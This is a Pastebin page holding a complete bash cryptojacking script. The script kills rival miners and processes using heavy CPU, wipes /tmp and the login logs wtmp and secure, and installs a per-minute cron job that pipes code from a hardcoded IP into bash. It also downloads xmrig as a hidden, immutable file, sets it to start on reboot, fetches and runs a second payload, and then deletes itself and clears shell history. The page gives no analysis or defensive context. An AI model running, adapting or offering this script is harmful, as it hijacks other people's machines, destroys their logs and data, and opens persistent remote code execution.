SHARE
TWEET

Untitled

a guest May 19th, 2018 732 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2. SHELL=/bin/sh
  3. PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
  4. function kills() {
  5. #ps aux |grep -v sourplum | awk '{if($3>20.0) print $2}' | while read procid
  6. #do
  7. #pkill -f $procid
  8. #done
  9. chattr -i /usr/sbin/scout_reporterd
  10. rm -f /usr/sbin/scout_reporterd
  11. touch /usr/sbin/scout_reporterd
  12. chattr +i /usr/sbin/scout_reporterd
  13. chattr -i -R /tmp
  14. rm -f /tmp/*
  15. pkill -f sourplum
  16. pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
  17. rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
  18. rm -rf /tmp/*index_bak*
  19. rm -rf /tmp/*httpd.conf*
  20. rm -rf /tmp/*httpd.conf
  21. rm -rf /tmp/a7b104c270
  22. pkill -f AnXqV.yam
  23. ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
  24. ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
  25. ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
  26. ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
  27. ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
  28. ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
  29. ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
  30. ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
  31. ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
  32. ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
  33. ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
  34. ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
  35. ps ax|grep -o './[0-9]* -c'| xargs pkill -f
  36. pkill -f biosetjenkins
  37. pkill -f Loopback
  38. pkill -f apaceha
  39. pkill -f cryptonight
  40. pkill -f stratum
  41. pkill -f mixnerdx
  42. pkill -f performedl
  43. pkill -f JnKihGjn
  44. pkill -f irqba2anc1
  45. pkill -f irqba5xnc1
  46. pkill -f irqbnc1
  47. pkill -f ir29xc1
  48. pkill -f conns
  49. pkill -f irqbalance
  50. pkill -f crypto-pool
  51. pkill -f minexmr
  52. pkill -f XJnRj
  53. pkill -f NXLAi
  54. pkill -f BI5zj
  55. pkill -f askdljlqw
  56. pkill -f minerd
  57. pkill -f minergate
  58. pkill -f Guard.sh
  59. pkill -f ysaydh
  60. pkill -f bonns
  61. pkill -f donns
  62. pkill -f kxjd
  63. pkill -f Duck.sh
  64. pkill -f bonn.sh
  65. pkill -f conn.sh
  66. pkill -f kworker34
  67. pkill -f kw.sh
  68. pkill -f pro.sh
  69. pkill -f polkitd
  70. pkill -f acpid
  71. pkill -f icb5o
  72. pkill -f nopxi
  73. pkill -f irqbalanc1
  74. pkill -f minerd
  75. pkill -f i586
  76. pkill -f gddr
  77. pkill -f mstxmr
  78. pkill -f ddg.2011
  79. pkill -f wnTKYg
  80. pkill -f deamon
  81. pkill -f disk_genius
  82. pkill -f sourplum
  83. rm -rf /tmp/httpd.conf
  84. rm -rf /tmp/conn
  85. rm -rf /tmp/conns
  86. rm -f /tmp/irq.sh
  87. rm -f /tmp/irqbalanc1
  88. rm -f /tmp/irq
  89. PORT_NUMBER=3333
  90. lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
  91. PORT_NUMBER=5555
  92. lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
  93. PORT_NUMBER=7777
  94. lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
  95. PORT_NUMBER=14444
  96. lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
  97. }
  98.  
  99. function cleans() {
  100. echo "" > /var/log/wtmp
  101. echo "" > /var/log/secure
  102. }
  103.  
  104. function newkill()
  105. {
  106. ps aux | awk '{if($3>50.0 && $11 !~ /scsid/ ) print $2}'| while read procid
  107. do
  108. kill -9 $procid
  109. done
  110. }
  111.  
  112. U="http://185.135.83.101"
  113. A=`/bin/uname -m`
  114. [ $A != 'x86_64' ] && exit 1
  115. ps -fe|grep -w .scsid |grep -v grep
  116. if [ $? -eq 0 ]
  117. then
  118. pwd
  119. else
  120. chattr -i /usr/sbin/scout_reporterd
  121. rm -f /usr/sbin/scout_reporterd
  122. touch /usr/sbin/scout_reporterd
  123. chattr +i /usr/sbin/scout_reporterd
  124. ps aux | awk '{if($3>50.0) print $2}'| while read procid
  125. do
  126. kill -9 $procid
  127. done
  128. cd $HOME
  129. crontab -r || true && \
  130. echo "* * * * * /usr/bin/curl -s http://185.135.83.101/s | bash -s" >> /tmp/.crons || true && \
  131. crontab /tmp/.crons || true && \
  132. rm -rf /tmp/.crons
  133. if [ ! -f "$HOME/.scsid" ] ; then
  134. wget -qO .scsid $U/bin/xmrig &> /dev/null || curl $U/bin/xmrig -o .scsid
  135. chmod +x $HOME/.scsid
  136. else
  137. filename=$HOME/.scsid
  138. filesize=`ls -l $filename | awk '{ print $5 }'`
  139. if [ $filesize -lt 1700930 ]
  140. then
  141. chattr -i $HOME/.scsid  
  142. rm -f $HOME/.scsid
  143. wget -qO .scsid $U/bin/xmrig &> /dev/null || curl $U/bin/xmrig -o .scsid
  144. chmod +x $HOME/.scsid
  145. fi
  146. fi
  147. chattr -i $HOME/.m &> /dev/null
  148. rm -f $HOME/.m
  149. wget -qO .m $U/bin/config.json &> /dev/null || curl $U/bin/config.json -o .m
  150. chmod +x $HOME/.scsid
  151. chattr +i $HOME/.scsid &> /dev/null
  152. chattr +i $HOME/.m &> /dev/null
  153. if [ $UID == 0 ]; then
  154.     echo "vm.nr_hugepages = 128" >> /etc/sysctl.conf
  155.     sysctl -p &> /dev/null
  156.     chattr +i $HOME/.scsid &> /dev/null
  157.         chattr +i $HOME/.m &> /dev/null
  158. fi
  159. chattr -i $HOME/.scsid  
  160. chmod +x $HOME/.scsid
  161. chattr +i $HOME/.scsid
  162. $HOME/.scsid > /dev/null &
  163. echo -e "$(crontab -l)\n@reboot $HOME/.scsid" | crontab
  164. [ $0 != 'bash' ] && rm -f $0
  165. history -c
  166. fi
  167.  
  168. sum=`expr $RANDOM % 21`
  169. sleep $sum
  170. ps -fe|grep -w .koo |grep -v grep
  171. if [ $? -eq 0 ]
  172. then
  173. pwd
  174. else
  175. wget -qO /tmp/.koo http://185.135.83.101/k &> /dev/null || curl http://185.135.83.101/k -o /tmp/.koo
  176. chmod +x /tmp/.koo
  177. nohup bash /tmp/.koo >/dev/null 2>&1 &
  178. fi
  179.  
  180.  
  181. exit 0
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top